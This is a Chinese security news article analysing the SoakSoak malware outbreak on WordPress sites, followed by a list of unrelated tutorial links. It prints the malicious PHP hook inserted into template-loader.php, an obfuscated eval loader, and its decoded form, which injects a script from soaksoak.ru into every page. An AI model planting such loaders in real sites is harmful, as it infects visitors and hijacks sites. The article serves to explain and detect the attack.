10万WordPress网站沦陷:恶意软件SoakSoak来了
WordPress是一款使用PHP语言开发的博客平台,用户架设属于自己的博客,也可以把 WordPress当作一个内容管理系统(CMS)来使用。近几个月,WordPress安全漏洞事件频发,包括 免费主题暗藏后门,波及WordPress等知名CMS系统,WordPress 4.0以下版本存在跨站脚本漏洞。而现在,一款广泛传播的恶意软件已经感染了100,000多个WordPress网站,而且数字仍在增加。
Google将超过11,000个域名纳入黑名单
消息先是周日早上在WordPress社区传播,起因是Google将超过11,000域名列入黑名单,这些网站都被一款最新的恶意软件攻击,软件来源于SoakSoak.ru,所以起名为SoakSoak 恶意软件。由于现在互联网上有超过7亿网站使用WordPress,所以这样的恶意软件影响巨大。
一经感染,网站就会出现异常行为,包括重定向到SoakSoak.ru。访问网站的用户也可能会自动下载恶意程序。Google已经将11,000个可能已经感染病毒的网站列入黑名单。
恶意软件分析
恶意软件SoakSoak会修改wp-includes/template-loader.php文件
<?php
function FuncQueueObject()
{
wp_enqueue_script("swfobject");
}
add_action("wp_enqueue_scripts",'FuncQueueObject');
这样使得wp-includes/js/swobject.js文件会在每一个页面上加载,这个swobject.js文件包含加密的恶意js代码。
eval(decodeURIComponent
("%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%..72%69%70%74%2E%69%64%3D%27%78%78%79%79%7A%7A%5F%70%65%74%75%73%68%6F%6B%27%3B%0D%0A%09%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0D%0A%7D%28%29%0D%0A%29%3B"));
解密后的代码:
eval(decodeURIComponent('(
function()
{
//var ua = navigator.userAgent.toLowerCase();
//if (ua.indexOf('chrome') != -1) return;
var head=document.getElementsByTagName('head')[0];
var script=document.createElement('script');
script.type='text/javascript';
script.src='http://soaksoak.ru/xteas/code';
script.id='xxyyzz_petushok';
head.appendChild(script);
}()
);'));
恶意代码一旦被解密,就会加载SoakSoak.ru域名中的js:hxxp://soaksoak.ru/xteas/code
检测与预防 目前尚不清楚病毒是如何感染网站的。如果你正在使用WordPress,并且你担心你的网站被感染,Sucuri公司提供了免费网站扫描,你可以检测你的网站是否感染了病毒。
想要让你的WordPress更加安全,可参见:如何为WordPress做安全防护?
[参考来源THN & Sucuri,译/Sphinx,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]
- PHP 面试知识梳理
- 报警系统QuickAlarm使用手册
- OpenDaylight Carbon二次开发实用指南
- 报警系统QuickAlarm之频率统计及接口封装
- 如何使用Sentry管理Hive外部表权限
- 报警系统QuickAlarm之报警规则解析
- 报警系统QuickAlarm之报警规则的设定与加载
- 报警系统QuickAlarm之报警执行器的设计与实现
- 如何在Kerberos与非Kerberos的CDH集群BDR不可用时复制数据
- 一个可扩展的报警系统Quick-Alarm
- 如何借助GitHub搭建属于自己的maven仓库
- Java可以如何实现文件变动的监听
- 如何在CDH中安装Kudu&Spark2&Kafka
- 秒懂 javascript 拖拽上传文件
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- SpringBoot整合Freemarker使用
- Vm常见虚拟网络模式
- 设计模式 | 桥接模式
- Supervisor快速入门 | 使用Supervisor守护Nginx进程
- 技术选型的艺术---湖北技术价值分享会
- SpringBoot 配置文件编写及使用方式 (拒绝硬编码)
- Docker六脉神剑 (六) 1. Docker集群之Kubernetes(K8S) 了解k8s - 理论篇
- SpringBoot thymeleaf自定义错误页面
- SpringBoot 配置Redis操作
- SpringBoot 自定义banner (小彩蛋)
- SpringBoot使用Mybatis 快速入门
- 【CTR】ESMM:多任务联合学习
- 状态管理之Vuex (三) store利用module拆分
- MySQL 案例:无主键表产生的延迟
- 面试官真的会问:new的实现以及无new实例化